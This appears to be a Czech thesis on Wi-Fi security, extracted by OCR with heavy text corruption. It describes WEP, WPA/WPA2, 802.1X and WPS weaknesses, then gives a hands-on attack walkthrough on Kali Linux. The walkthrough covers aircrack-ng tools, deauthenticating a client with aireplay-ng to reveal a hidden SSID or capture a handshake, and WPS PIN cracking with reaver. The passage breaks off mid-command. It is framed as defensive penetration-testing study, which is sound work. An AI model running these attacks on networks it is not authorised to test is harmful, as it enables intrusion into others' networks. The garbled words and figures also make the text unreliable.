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ABSTRAKT

Prace se za#huje na problematiku bezdratovych siti Wi-Fi. V pr§&ou popsany
jednotlivé principy Sifrovani WEP, WPA a WPA2. Nejp je rozebran Zjsob
zabezpeeni WEP, ktery jiz dnes nevyhovuje beapastnim poZadavkn, dale jeho
nastupce WPA a to metody autentizace TKIP, AESnaposledniack WPA2, které
dnes slouZi jako bezpmostni standard.

Prace hodnoti bez{peostni rizika jednotlivych zabezgmvacich metod a uvadi
nékolik doporweni pro dosazeni maximalniho zabegpe bezdratovych siti.

V praci je pouzit Bzn¢ dostupny hardware a vanSititelny software (Open
Source).

KLi COVA SLOVA

Bezdratova $i zabezpé&eni, Sifrovani, autentizace, Wi-Fi, WLAN, IEEE, 802,
WEP, WPA, TKIP, CCMP, AES, WPS

ABSTRACT

This work treats the matters of wireless netwowsFi. The paper describes the
various principles of coding, such as WEP, WPA ¥ffeIA2. At first the WEP security
method is analyzed with the view of the fact thakdiesn’t meet contemporary safety
requirements, further its successor WPA, namelyPT&hd AES authentication
methods, and last but not least WPA2 which nowadayge as a safety standard.

The work assesses the safety risks of individuausty methods and makes
several recommendations to achieve maximum sedorityireless networks.

In the work a commercially available hardware amrdfifee dissemination available
software (Open Source) are used.

KEYWORDS

Wireless network, security, encryption, autherdificn, Wi-Fi, WLAN, IEEE, 802.11,
WEP, WPA, TKIP, CCMP, AES, WPS
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UvoD

Tuto praci jsem si vybral vzhledem k mym praktickykuSenostem s bezdratovymi
sitmi z praxe. Z vlastnich zkuSenosti vim, Ze zab&apiebezdratové sitse v kazdé
druhé firne ¢i organizaci podaguje. Podle hesla ,,NejlepSi obrana je Gtok" se ismaz
vzit se do role utmika a tento pohled poskytnodtien&i, piipadnému spravci sit
ktery miZe tyto poznatky a metody vyuzit k lepSimu zab&epevlastnich siti. V praci
hodnotim bezp@ostni techniky a jejich vyuzitelnost v praxifidavam par dalSich
technik zabezpeni zjiného odétvi, nez jsou bezdratové &itkteré z pohledu
bezpeénosti s timto tématem souvisi. Piajteni by nél ¢ten& poznat metody Utdkna
bezdratové sita metody, jakdmto Gtokim zameazit.



1 WI-FI

Bezdratové s# Wi-Fi (Wirelesss Fidelit}), nebo také WLAN byly fivodns navrzeny
pro podnikovou sféru a to Kipojovani firemnich zazeni do lokalnich siti. S postupem
¢asu zdala Wi-Fi sit vyuzivat SirSi viejnost, zejména kijpojovani do sit internet.
Vzhledem k tomu, Ze Wi-Fi sitoyly navrzeny pro komunikace v bezli¢aim pasmu
2,4 GHz, které neni zpopl&mo, mohl odstartovat jejich vyvoj veétdim nefitku.
Praw diky €mto aspekim se z bezdratovych siti Wi-Fi stal nejrédestjSi standard
bezdratovych siti. Dnes technologii Wi-Fi maji vésmvSechna mobilni t&eni.
Mozna pra¥ proto bychom réi této technologii ¥novat tSi pozornost f budovani
zabezpeéeni bezdratoveé infrastruktury.

1.1 Zakladni koncept
Wi-Fi sité se @li na:

1.1.1 Infrastrukturni sit é
Zakladni schéma Infrastrukturniéitypada nasledown

v

Klient

A

AP

Obr. 1:  Schéma struktury Infrastrukturni&it

Access Point (zkracénAP) je rejaky bezdratovy prvek sit nagiklad router od
poskytovatele internetu. Klient z&iakterékoli zdizeni gipojené do s& od paitace,
telefonu az po ledoku nebo hodinky.

1.1.2 AD-HOC

Ad-hoc je zkratka pro technologii bezdratového spdjdvou nebo vice s&b
rovnych prvKi. Touto technikou je mozné k solpiipojit napriklad dva klienty bez
nutnosti vyuzit AP. Tento model by se d&irgvnat k modelu P2P

Zakladni schéma giAD-HOC vypada nasledo¥n

1 Zkratka Wireless Fidelity (Bezdratovarmost) nema zadné praktickétmodnini. Zkratka vznikla
z tehdy jiz zndmé zkratky Hi-Fi — High Fidelity (8gka ¥rnost) reproduktorovych soustav.

2 P2P (zkratka peer-to-peer) je ozeai komunikace, kde mezi sebou komunikuji pouzenkili
Opakem je zkratka server-klient. V sitich peer¢eipjsou vSechny uzly &itrovnocenné, avSak pro
navazani komunikace je vzdy nutné klienty navzagemnamit. Princip seznamovani jiz ma ale kazdy
perr-to-peer protokol jedigay.



Klient Klient

A
v

Klient

Obr. 2:  Schéma struktury AD-HOC sit

Prvni klient, ktery tuto $i,,vytvai“, se stava zakladatelem a chova se tedy jako
do¢asny Access Point. \fjpact vice klienti je nutné, aby vSichni klienti byli v dosahu
vSech ostatnich klietit Klienti se navzajem rozeznaji podle identifikatait SSID.
Pokud se ze sitodpoji jeji zakladatel, sije na maly okamzik nefukki do doby, nez
n¢ktera stanice zastane funkci AP.

Nevyhoda tohoto ifipojeni je rychlost fipojeni (WtSinou jednotky MB). Pokud
karta disponuje rezimem 802.119g, ad-hacbside komunikovat v rezimu 802.11b, tedy
11Mbps. Nkteri vyrobci implementuji adhoc rezim 802.11n do svgitovych karet.

Je ale pdtba tento rezim povolit ve spravcitizeni. Vzhledem k tomu, Ze klienti AD-
HOC sit vytvai mezi sebou kolizni doménu, znemand to tedy, Amtpklienti je
ne@imo uanerny maximalni penosové rychlosti. DalSi nevyhodou je nemoznost
vypnuti vysilani ndzvu sita absence diagnostiky sily signalu.

Vyhoda tohoto fipojeni je jednouché zprovoemi (VvétSina dostupnych opefiaich
systénii a hardwaru touto funkci disponuje bez dodavansidal softwaru) a nizké
naklady.

Ad-Hoc mod neni zidvodu malého praktického ro#éhi gredmétem této prace.

1.2 IEEE 802.11

Standard IEEE802.11 je standardizované ozeai typu modulace pouZivajici stejny
pienosovy protokol. Mimo jiné tyto modulace udavajiaximalni teoretickou
pienosovou rychlost, ktera je dana tabulkou:

3 Zkratka IEEE (Institute of Electrical and Electite Engineers) je mezinarodni standardiZa
organizace zajidjjici bezpé&nostni normy v slaboproudé technice.



Tab. 1:Prehled standafdIEEE podle rychlosti aipnosového pasma

Typ modulace Renosové pasmo [GHZ] Maxi:gnosova rychlost [Mbps]
IEEE 802.11 2,4 2

IEEE 802.11a 5 54

IEEE 802.11b 2,4 11

IEEE 802.11g 2,4 54

IEEE 802.11n 2,4 nebo 5 600

IEEE 802.11ac 24a5 1000

Uvedena tabulka uvadi pouze nejréesijSi a tudiz nejzn¢jSi typy modulaci. Pro
dalkové nebo specialni spoje se mohou vyuzit jim&lutace i frekvence sahajici az
k 60 GHz.

1.3 SSID

Service Set Identifier (zkr&c&nSSID) je 32bit ndzev bezdratovéésitdentifikator,
podle kterého &astnik rozezna prévu st, do které se hodlaripojit. Bezdratovy bod
vysila pravideld nazev sit v ucitém intervalu (beacon frame), ktery dava klient
védet, Ze se v blizkosti tatotshachazi.

Tento interval je mozné prodlou#it zkrétit. Je mozné nastavit bezdratovy bod tal, ab
v beacon framu nefiguroval nazevésitomuto jevu seika skryti SSIDa jedna se o
prvni stupé zabezpéeni.

Varianty SSID se &i na AD-HOC si¢ a Infrastrukturni sé Infrastrukturni sit jsou
charakteristické hierarchii jednim Access Pointém)(a vice klienty. AD-HOC rezim
je charakteristicky stanicemi, které jsou na stéjreé¥ni a mohou spolu komunikovat.



1.4 Kanal
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Obr. 3: Grafické zndzorgni kanah

Pasmo 2,4 GHz (2,4 — 2,4835 GHz), které pouzivanogie Wi-Fi se dale
rozkluje na 13 (v skterych zemich 14) kanél Jedna se oipsré specifikovanou
frekvenci, se kterou budou izzeni komunikovat. Toto op@ni je nutné zejména pro
dosaZeni nejvyssi mozné rychlogtiposu.

Kanal je nutné vybrat tak, aby na dané frekvenbiyleejina sf, nebo alespoco
nejmért siti (v zaruSenych prdstdich). Vzhledem ke kryti jednotlivych katalpro
dosazeni maximalni rychlostiignosu, by bylo péeba vytvdit odstup minimalg 5
kanali od ostatnich siti. Vifpact méstské zastavby je tedy nejvh@iBi vytvait tento
odstup od nejsikgSi okolni sik.

1.5 Sifrovani

1.5.1 Bez Sifrovani

Tato varianta zajtdije gristup vSem potencialnimcastnikim, ktefi maji zajem se do
site pripojit. Sitt bez Sifrovani nalezneme na&nych véejnych mistech, jedna se o tzv.
hot-spoty. B pouZivani neSifrované 8ije poteba si u¢gdomit, Ze vSechna data, ktera
do nebo ze sitpieneseme, fze gecist potencialni Gtinik velmi jednodusSe. Poté sta
nagiklad odeslat HTTP formuia ¢i otewit jiz piihlaSenou stranku a diky
transparentnosti POST, GET a COOKIES pozatladKTP jiZ neni slozité tyto Udaje
zachytit, gipadré zneuzit.

152 WEP

WEP Wired Equivalent Privacytj( soukromi srovnatelné s dratovymiesit) je jedno
Z nejstarSich zabezfni bezdratovych siti 802.11. Vyvinuto bylo roki®79kde jeho
primarni &el bylo poskytnuti zabezpeni podobné dratovym sitim.

Zabezpe&eni WEP pracuje na linkové vrgtyracuje ve dvou zakladnich rezimech
64b nebo 128b. 64b mod vyuziva 40k idi24b inicializéni vektor. 128b mod vyuziva
104b kIt a rovrez 24b vektor [3].



Sifrovani WEP pouziva k Sifrovani a desifrovanjrstealgoritmus, tj. i stejny ké.
V praxi nefastji pouzivany 40b ki slouzi pro autentizaci vSecktastniki WiFi sit.
Autentizace probiha na principu adresy MAC, tudiZoptovana spiSe bezdratova
karta, nez uzivatel. Protokol WEP&uje (tastniky jednostrarin

Sifrovani paket probihd 64b ktiem s 24b inicializénim vektorem (IV), ktery se
meéni pro kazdy vysilany paket, tudiz je Sifrovani kétni pro kazdy paket. Jako
algoritmus Sifrovani je zde vyuzito RCA4.

Nekteri vyrobci z&ali implementovat 256b variantu WEP, ktera fungavah
stejném principu, avSak se neujala a jako nahrad&dEP piSel standard 802.11..

WEP byl poprvé prolomen roku 2001. Od té doby seapoje za nedostaieé
zabezpeéeni si¥[3].

153 WPA

Metoda Sifrovani WPA (Wi-Fi Protected Access) byigtvoiena jako néhrada jiz
nedostaujiciho zabezpgni WEP. WPA funguje na podobném principu jakooSini
WEP, na rozdil od & ale vyuzivd 128b Sifrovaci kKlia 48b inicializ&ni vektor.
Znamena to tedy, Ze i kdyZ pouziva WPA podobnotunelogii jako WEP, je mén
nachylny na prolomeni [7].

Sifrovani WEP pouziva pafmé jednoduchy algoritmus CRC-32, ktery umiaje
pozmenit zpravu i kontrolni satet bez znalosti WEP Ki. Tuto zranitelnost opravuje
zebezpeeni WPA, které vyuziva zabezmmi MIC (Message Integrity Code). MIC
metoda zejména obsahuje technologikimmi ramé, ktera zabrguje generovani
provozu na siti opakovanim zachycenych paket

Autentizace je v protokolu WPA umadm d¥ma metodami — sdilenym heslem
nebo Radius serverem.

PSK (Pre Skared Key) - jedna se o technologii siikéice se vSemi dastniky.
Heslo musi byt dlouhé 8 az 63 ASCI zaalebo 64 hexadecimalni¢islic. Vzhledem
k podobnosti s metodou Sifrovani WEP, je nutné dizazakladni zasady voleni ddi
aby nedoslo k prolomeni zabezpei stejg rychle jako u WEP. Je dobré volit heslo
bud’ ze ti spojenych slov, nebétrnacti nahodé generovanych znaék Pro naprosté
bezpéi je nutné zadat 54 nahodnych pismen, nebo 39 nghbd\SCI znak.

S WPA je mozné vyuZit autentizd server, typicky RADIUS pomoci protokolu
IEEE 802.1X.

1.54 WPA2

Nadstavba WPA, kterd kombinuje vSechny povinné pi&62.11i, pidava algoritmus
CCMP vyuzivajici technologii AESWPA2 vyuzivé&tyicestny handshake. Jedna se o
proces vyminy informaci (heslo a inforamce o zabemgd) a natavovanifiipojeni
mezi AP a klientem. Sdileny KIWPA2 Ize ziskat pouze z tohoto procesu.

4 AES (Advanced Ecryption Standart) - Jedna se demyatickou blokovou Sifru umaaijici
Sifrovat i deSifrovat data pomoci stejnéhaidli Sifra byla vymysSlena jako nahrada za nevyhovgic
vykonow narany algoritmus DES.



Pripadny uténik miZze pouze vyuzivat votndostupné programy (airodump-ng),
aby monitoroval okolni provoz a ¥ipadt navazani handshaku jej zaznamenal.

Pokud uténik nema tolikcasu a jiz gktera stanice je k APigpojena, pomoci
programu aireplay-ng je mozné klienta deautorizevi@nto handshake zaznamenat.

Jakmile uteénik jiz ma handshake zaznamenanyzmpouzit bd’ slovnikovy nebo
brute-force Utok na zaSifrované heslo. Tento prgigesemusi probihat v blizkosti AP,
je tedy mozné jej provéttzv. off-line. Tato metoda ale neni nejrychleggsv pipack
delSich a sloz§Sich hesel je velmi zdlouhava. Yipact vyuZiti specialnich znaka
dlouhého hesla hratiiGsgsSnost tohoto testu s jistym nedspem.

Metoda Sifrovani WPA2 je povaZzovana za abseélbezpénou.

155 802.1x (RADIUS Server)

Vyuziti technologie RADIUS na bezdratovych prvich &itznamena j@neseni
odpowdnosti autentizace uzivatek AP na RADIUS server. Vyhoda tohateSeni je
moznost autentizovat uzivatele nejenom v bezdratovsitich, ale také v dratovych
sitich Etherneti PPP.

V sitich WiFi se vyuziva mnoho #gohi Sifrovani po¥ieni mezi klientem a AP,
Z &ch nefasgjSich jsou to:

5 RADIUS — Remote Dial In User Service (Uzivatelsi@aiena sluzba pro vzdalenou autentizaci



Sifrovani Vybér parametra

LEAP Absence SSL, vyvinuto spdleosti Cisco, pouziva MS-CHAP — udaje
nejsou silg Sifrovany, podobné zabezmni jako WEP, obsahuje znamé
zranitelnosti, mozny off-line utok.

EAP-MD5 Absence SSL, SifrovAno MD5, nevhodné prouzpeani, MD5 je
nachylné na slovnikovy utok.

PEAP Protokol zabali autorizaci EAP do tunelu TLS8yvijeno ve spoluprag
firem Cisco Systems, Microsoft a RSA Security, \ddje pouze PK
certifikdt na stra#é serveru a viejny klic na strag klienta k vytvdaeni
TLS tunelu a zabezpeni gihlaSovani. Nejpouzivaysi autentizani
protokoly jsou MSCHAPv2 a GTC (tokeny).

EAP-TLS Vyuziva PKI na zabezpeni komunikace mezi RADIUS serveren] a
klientem. | gfesto, Ze je néastji vyuzivan, stéle je povazovan za jedno
Z nejbezpenéjSich zabezp®ni EAP a ve vychozim stavu podporovan
vSemi vyrobci bezdratovych karet. VyZaduje ceréifika stra# klienta,
coz mizefadu organizaci odradit.

EAP-FAST | Protokol vyvijen spoteosti Cisco Systems, nahrazuje zastaraly
protokol LEAP. VyuZiti certifikatu na serveru je litelné, vyuziva
PAC® k sestaveni TLS tunelu mezi klientem a serverefes jtery se
pienasi pihlaSovaci Udaje k autentizackj pouziti automatického PAC,
EAP-FAST bude obsahovat zranitelnost.

Tab. 2: Typy Sifrovani 802.1X

Klient neni schopen komunikovat s RADIUS serverefimp, komunikaci
s autentizénim serverem interpertuje AP. Klient zaSle speci&APOL ramce, které
jediné AP pijme a zaSle poZzadavek na auteritidaserver. Ten poZzadavek vyhodnoti a
v pripadt Usgsného ovreni Udaj oznami AP, Ze je mozné klientépmjit.

AP komunikuje s RADIUS serverem Sifrovapomoci sdileného hesla. Toto heslo
je mozné prolomit slovnikovyrii jinym utokem a poté podvrhnout odgof/RADIUS
serveru. Je tedy vhodné volit silné heslo, fijmgt komunikaci mezi AP a RADIUS
serverem umistit do jiné VLAN, aby se minimalizavaiziko podvrZeni.

156 WPS

Metoda gipojovani do bezdratové WP$e jiz od za&atku cilena na dZné uzivatele,
které nezajima, jaké pouzivaji zabespe nebo kif. Tato metoda rfize fungovat ve

6 PEAP — Protected EAP

7" TLS - Transoport Layer Security
8 PAC — Protocol Access Creditial
® WPS — WiFi Protected Setup



dvou rezimech:
» PXipojeni pomoci stisknuti tdtka
» Pxipojeni pomoci kodu PIN
Autentizace pomoci tl&itka

Skoro kazdy domacki stredre podnikovy router¢i AP dispoujici funkci WPS méa
z rekteré strany tlétko se symbolem Sroubovaku, napisem WPS nebazjiagky. Po
kliknuti na toto tl&itko se AP pepne do modu naslouchani okolniho prexdita pokud
zjisti pripojovani klienta, automaticky klientovi zaSle vBeg potebné informace pro
piipojeni do si (SSID, Sifrovani a k).

Tato metoda neni nejbezpjSi. V tomto gipact sta&i mit pouze na potaci ¢i
jiném zd&izeni (modifikovany telefon, tableti miniPC) spusiny program, ktery
vyhledavé dostupné WPSipojeni. Ten poté ziska vSechny jf@iiné informace o siti a
atoénik ma pak dvie otewvené [5].

Autentizace pomoci PIN kédu

Na rozdil od autentizace pomocicitka, autentizace pomoci PIN kéd&zbna pozadi
neustale. Router (AP) neustéle nasloucha, zdani nekoli rEjaké zd&izeni, které se
chce pipojit do této si& pomoci kédu PIN. Kod PIN je 8 mistné dekadickslo.
Vtomto gipac je patet moznych kombinaci £0 coz znamena 100 milién
kombinaci. Tato metoda je tedy prolomitelna metodoute-force Pri kratkém
zamysleni ale tato metoda tig@ada do Gvahy, protoZe vyzkouSet takové mnozZstvi
kombinaci by trvalo (pokud bychom ¢itali 1 pokus = 1s)&co okolo 3 let.

Tolik ¢asu jist mit utanik nebude, ize ovSem vyuzit bezpeostni slabinu WPS.
Kazdé zéizeni @i nespravl zadaném PIN kodu obdrzi informaci, Ze tento kod je
nespravny. Zaroveale ziska informaci o tom, jestli nebyla prvni aetruhacast kddu
spravié. Aktualni pa@et moznych kombinaci je tedy 2 x 16 20 000 moznych
kombinaci. Pokud bereme v potaz, Ze posléislice WPS kddu je kontrolni soet,
zbyva nam 16+ 16 = 11 000 kombinaci.

1 2 3 2 5 5 7 8
Prvni ¢ast PIN kodu Druhé ¢ast PIN kédu Kontrolni
souwcet

Tab. 3:Schéma kédu WPS PIN

Téchto skuténosti vyuzZivaji programy Reaven a wpscrack.py,&kjsou napsany
Pythonu a jsou volhdostupné na internetu. Co sédyprogramu Reaven, je pomalejsi
nez program wpscrack.py, avsak je schopen rozekdg¥, AP zjisti, Ze je nad&n
provadn utok. Dokaze si také poradit se&@mu kanal AP pi nespravnych pokusech.
Pokud by jeden pokus o prolomeni trval 1s, tedkéatidoba prolomeni WPS pomoci
kodu PIN by byla okolo 3 hodin.

WPS bohuzel nema vice moznosti, jak jej zab@izpeebo jak se zachovat
k ataénikovi, ktery zkouSi vicekrat fiilaSeni. Jedinou mozZnosti, jak zabeipe



technologii WPS, je ji vypnout. teré domaci AP bohuzel moznosti vypnuti WPS
nemaji.

1.6 DalSi metody zabezpé&eni Wi-Fi siti

1.6.1 Skryti SSID

Kazda bezdratovatsiysila v pravidelném intervalu tzv. beacon pak&tgré oznamuji
ostatnim dastnilkim zakladni informace o dané siti. Kazdsastnik pro pipojeni musi
znéat ndzev sit coZ zamezujeifpojeni Gt@nika, ktery nap zna heslo, ale nezna nazev
Site.

Tato technika nepéitmezi bezpéné, ut@énikovi sta&i deautorizovat klienta od &ita
odposlouchat jehotfhlaSovani, které obsahuje SSID naze¥, sitten si poté zobrazit.

1.6.2 MAC Filtr

DalSi mozZnosti zabezeni je pouzit filtr MAC adres. Access Point si vesliji
tabulku povolenych kliefit kam spravce zapisuje MAC adresy, které mohoucess
Pointem komunikovat.iPtéto konfiguraci je dobré si dat pozor, aby néddSomezeni
piistupu pro stravce, ktery Access Point konfiguruje.

V praxi utanikovi st&i pouze pokat, aZz se &ktera stanice odpoji a poté si
nastavit MAC adresu stanice na svoji bezdratovetuka

1.6.3 VPN

V piipact ISP nebo citlivych dat je oblast zabezgai vysokou prioritou. V ifipad ISP
jde o neautorizovany odbinternetu — a tudiz fin&ni ztraty, v gipad firem mize jit o
citlivd firemni data [1]. Pokud by cktmit spravce této sitvétsi jistotu, niize vyuzit
technologii VPN. Tento principifpde vhod zejména vifpadt usgsSného deSifrovani
sdileného kbie. Pokud se to Gtoikovi podd&i, miZze odposlouchavat komunikaci na
tomto AP¢i bezdratovem spoji. Vifpadt VPN vSak narazi na dalSfgkazku a to, Ze
data genaSena pomoci Sifrované bezdratové jstiu i nadale netelna kwali Sifrovani
VPN. Jedna se tedy o dvoji zabezpd.

WPA2-AES

AP klient
VPN (data

Obr. 4:  Schéma zabezpeni WiFi sit pomoci VPN
VétSina dneSnich modernich rouigiz touto funkcionalitou disponuje a je mozné
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vyuzit rektereho z Bzn¢ dostupnych VPN kliefit Z hlediska ekonomického a
multiplatformniho pouZziti se zda byt nejlepSi valbeoftware OpenVPN. Pokud je
provadna uprava stavajici 8ita je zjistno, ze aktualni prvky VPN nepodporuji, je
mozné v ikterych gipadech pehrat firmware tohoto #&zeni na #kterou svobodnou
platformu OS WRT. Kufpikladu DD-WRTC Tato platforma umaiuje spustit
OpenVPN server a generovatddipro klienty. Je dostupné pradu profesionalnich i
domacich routér[2].

OpenVPN je svobodna platforma s dwmwm zdrojovym koédem umaajici
propojeni hostitelskych stanic. N&j$i vyhoda OpenVPN je licence GNU GPLktera
umoziuje vyrob@m HW i SW implementovat tento standard do svychizeai zcela
zdarma. Prayproto je tento standard tak razsi a hojg vyuzivan.

10 Firmware pro roz#éni funkcionality domacich i profesionalnich APuteatt a switchi zaloZen
na Linuxovém jate. Umozuje provozovat IPv6, QoS, WDSRADIUS Server s minimalnimi naklady.

1 GNU GPL - General Public Licence Licence pro swblyosoftware (tzv. copyleftova licence).
Tato licence zajidije svobodu softwaru, jak softwaru s touto licetak, i odvozeného softwadii jinych
programi a ¢asti kddu, které na tento software navazuji. Od GBRL je poteba odliSit BSD licenci,
kter& zajisuje svobodu pouzeipodniho dila. Pokud je dilo BSD Zméno, mize byt vyuzito komeing.
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2 ZPUSOB TESTOVANI ZABEZPE CENI

Nejlepsi volbou, jak zabezgiebezdratove sftje vZit se do role Gtmika. V nasledujici
kapitole si popiSeme, co bude fmiita k provaéhi penetranich tesk.

2.1 Hardware

Pro simulaci Utoku natsheni pateba Zadna specialni vybava. Z hardwarové stranky je
potteba zajistit bezdratovou kartu do ¢tace, ktera bude podporovana nasSim
oper&nim systémem — v naSentipad KALI LINUX (jadro Debian) a moZznost
prepnuti karty do promiskuitniho méduPouzivana karta by zaravenéla mit vystup

na externi anténu pro dosazeni co nejlepSich Wisled

Obr.5: Bezdratovy USB adaptér TP-LINK

V praci je vyuzita USB WLAN karta TP-LINK TL-WN722Ntera ma nativni podporu
v linuxovém jade, umo#uje promiskuitni mod a zaroiredisponuje vystupem pro
externi anténu.

2.2 Software

Pfi vybéru softwaru je nutno se priexk rozhodnout nad platformou. Priedi
znamych opermich systém z rodiny Windows je jist lakavd a na prvni pohled
jednoducha volba, bohuzel na ten druhy zjistimeyatuto platformu neexistuje mnoho
softwaru a co seifstupu k hardwaru ti, je problém na gkterych kartach nastavit
naslouchaci méd.

Pro rodinu opermich systému UNIX je situacegsré obracena. Pokud je karta
detekovana opetaim systémem a zobrazuje se mezi sitovymi kartamamne nafl
vyhréno.

V rodinach linuxovych opetaich systémh mame nefeberné mnozstvi nasttoj

12 promiskuitni méd je mod &ivé karty umoiujici naslouchat komunikaci, ktera negpatanému
Ueastnikovi. Jelikoz se jedna o zalezitost hardwgrumezbytd nutné, aby pouzita xiva karta idla tuto
podporu, v op&ném fFipac s nej¢tsi pravdpodobnosti nejjde tato karta pouzit.
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které mizeme pouzit. Pokud pouzijendssty operéni systém, je péeba tyto nastroje
nejprve nahrat. Nejjednodussi instalace nasjey repozitéi.

V OS debian by fikaz vypadal nasledo¥n
sudo apt-get install aircrack-ng macchanger

DalSi variantou je vyuziti gjakeé linuxoveé distribuce dgené @imo pro testovani
zranitelnosti. V této préci je vyuzito systému OSLK zaloZeném na Debianu. Vyhoda
takového systému je, Ze jiz mé&epdgipravené vSechny nastroje, které budeme
potrebovat. DalSi vyhodou je u@gpobeni tomuto ¢elu. Pokud bychom upravovali
n¢ktery ¢isty linux, musime vikeSit odstraéni nastroji typu spravce sita spravce
zaizeni, které nevhodnym épobem ovliviuji fungovéani celého testovani.

Spravce slovych @ipojeni vypneme nasledotm
sudo stop network-manager

OS KALI se dodava v 32b i 64b verzi. Dale je mo&iévybrat z grafického
prostedi GNOME nebo KDE, podle toho, jaké presli danylovek preferuje.

2.2.1 Programové vybaveni

Tab. 4:Seznam progra@npouzitych pro simulaci utoku

airmon-ng nastroj slouzici na zapnuti monitorukimrého bude probihat &b
dat

airodump-ng nastroj slouzici pro zobrazeni aktuasiiuace Wi-Fi siti a
k naslednému ukladani paket odposlouchavané &it

aireplay-ng nastroj pro generovani provozu na siti
aircrack-ng dekryptovaci néstroj slouzici k nalézeklice ze zachyceng
komunikace

macchanger nastroj pro pogméni MAC adresy bezdratoveé karty

reaver Program na prolomeni WPS kodu PIN

Wash Program na testovani stavu WPS

13



2.3 Virtualizace

Pokud neni mozné zavest startovaci CD, DVD nebo ,8Bnozné celé toto
prostedi spustit virtudley nagiklad ve virtualizanim prostedi VirtualPC3,
VirtaulBox* nebo VMWaré®. Vzhledem k tomu, Ze virtualizai prostedi ani jednoho
vyrobce neumi sdilet sloty PCI, do kterych je w&Swe pripadi pripojena bezdratova
karta v noteboocich, je nutné vyuzit externi adapteB, ktery je mozné nasdilet do
virtualniho stroje. Po zvoleni virtualizace hardwddSB program VirtualBox nebo
VMWare peinstaluje aktualni ovlada hardwaru na dity typ roury*®, ktery geposila
informace z virtualniho prasdi do fyzického hardwaru.

Fyzicky paitag Prostedky

Bezdratova karta

Opera&ni systém hostitele

Virtualni pasitag

OS Linux KALI e

Obr. 6: Schéma virtualniho prastdi

Vyhoda vyuzivani virtualniho prasdi je v jednoduchosti a bezpesti. Spougni
neznamého obrazu ISO nacfieci, ve kterém se nachaziildzita data mze byt pro
fadu spravet prekdzkou z dvodu bezpénosti dat.

13 VirtualPC — Virtualiz&ni nastroj z rodiny Microsoft. V n@jgich verzich systému Windows je
k dispozici novéa technologie HyperV.

14 VirtualBox je multiplatformni virtualizeni nastroj @vodrg vyvijen rémeckou spoknosti
Innotek GmbH, kterou koupila spéleost Sun Microsystem(2008), kterou koupila pgizdpoleznost
Oracle(2009).

5 VMware je rodina virtualizénich nastraj spole&nosti Vmware, Inc. Jakalenové rodiny
VMware jsou korporatni VMware Workstation, VMwarer8er ¢i VMware Infrastructure, pro domaci
pouziti ale existuje bezplatna verze tohoto produktana VMware Player, ktery pra@aly této prace
bohat stai. Zkratka VM znamena virtualni stroj (Virtual Maob).

16 Roura vtomto fipac umo#uje vytvaeni virtualniho spojeni mezi virtudlnim Jmcem a
fyzickym hardwarem.
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Vzhledem k tomu, Ze proces utoku trviSinou viadu hodin a po dobu sbirani dat
¢i zpracovavani vysledk uzivatel nemusi nic &ht, mize ut@nik diky virtualnimu
prostedi provadt v hostitelskem p#taci jiné svoje ukonygi procitat prae tuto praci
v elektronické podah

DalSi vyhoda nainstalovani virtualniho ptesti je Uprava opetaiho systému pro
vlastni pouziti. Pokud je p@ba vyzkouSet zabezfmni vice siti, je mozné provést
jednu instalaci virtualniho gtace, upravit si progedi podle sebe, pépnapsat skripty
pro testovani a tento virtuélni fa¢ prenéskti zkopirovat na jiny fyzicky stroj.
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3 UTOK

3.1 Priprava utoku

Jako prvni krok B vyuzivani OS KALI je dobré spustit grafické priasti xwindow,
které umozni zobrazeni vice terminalovych okereda¢ ploSe. Bez prdastdi xwindow
je také mozné se obejitgs terminalova okna TTY, avSak poté je mozné zafyanze
jedno okno zaraz v konzolovém rezimu zobrazeni.

Prostedi xwindow se spoustfiazem:
root@Kkali:~#startx
Prostedi xwindow vice pipomina spiSe pra®idi operanich systém Windows,

nebude tedy problém se vtomto predi zorientovat ani pro no¥éa v prostedi
Linux.

Predtim, neZz z&neme provaet simulaci uténikova napadeni, musime provést
kontrolu svého progdi a hardwaru. Kazdéateva karta se chova jinak a musi se k ni
jinak pristupovat [6]. Nejprve provedeme vypig®@iych karet pikazem ifconfig nebo
iwconfig:

root@Kkali:~# iwconfig

wlan0 |EEE 802.11bgn ESSID:off/any

Mode: Managed Access Point: not-Associated Tx-Power =20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off

Encryption key: off

Power Management: off

Z nasledujiciho ifikladu vidime, Ze naSe bezdratova karta je ditpdi viditelna,
ma p@idéleno hardwarové ID wlanO. Nyni vyzkouSime, zda &adpolupracuje
S programem airodump-ng:

root@Kkali:~# airodump-ng wlan0
ioctl(SIOCSIWMODE) failed: Device or resource busy

Pokud vypis programu vypada nasledgvikarta neumaiuje @imy peistup
k monitorovanym ddim. Je patba vytvdit virtudini rozhrani, pes které budou
programy batiku aircrack-ng fistupovat k giové karé. To provedeme vyuZzitim
programu airmon-ng:

root@Kkali:~# airmon-ng start wlanQ

Interface Chipset Driver

WIlan0 Atheros AR9271 ath9k — [phyOQ]
(monitor mode enabled on mon0)

V tomto pipact musime pro Usgné provedeni vSechiikazl vyuzivat virtualniho
adaptéru mon0O misto wlanO.
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Pokud mame v systému nainstalovatktary spravce Zézeni nebo spravce &it
zobrazi se nadiinito informacemi. Je dobré tyto procesy vypnatikgzemkill , aby
nezmsobovaly nafiklad vypnuti sfové karty pi odposlouchavani atp.

3.2 Skryté SSID

V piipact situace, kdy sinepouziva Sifrovani a pouze spoléha na skryti B$8Ena,
je situace velice jednoduchd. PouzZijenigawe:

root@Kkali:~# airodump-ng wlanl

ktery vypiSe tabulku dostupnych Wi-Fi siti, vystapZe vypadat nasledo¥n

CH 9 ][ BAT: 3 hours 9 mins ][ Elapsed: 5 s

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -42 17 0 0 6 54e WPA2 CCMP PSK <length: 5>
BSSID STATION PWR Rate Lost Packets P robes
00:11:22:33:44:55 A0:B1:C2:D3:E4:F5 -57 0-10 1

Zde je vidt, Ze zadana Wi-Fi 8ima nazev o délce 5 znakTato metoda je pouze
aspsSna, pokud je k AP ipojen alespd jeden klient. Nyni zapneme naslouchani
ramaim pouze k této sitifikazem:

airodump-ng —c 6 —bssid 00:11:22:33:44:55 wlanl

kde gepin& —c znai ¢islo kanalu, a —bssid z&iaMAC adresu AP. Vzhledem k tomu,
Ze @i vyhledavani sé& jsme nasli pouze jednutsiaktualni vystup programu bude
vypadat steji Nyni toto termindlové okno nechdme dtne, spustime druhé a
vepiSeme pkaz:

aireplay-ng -0 30 —a 00:11:22:33:44:55 —c A0:B1:C2: D3:E4:F5

kde gepina& -0 zn&i mod deautentifikace, -a MAC cilového AP a —c MAilbvého
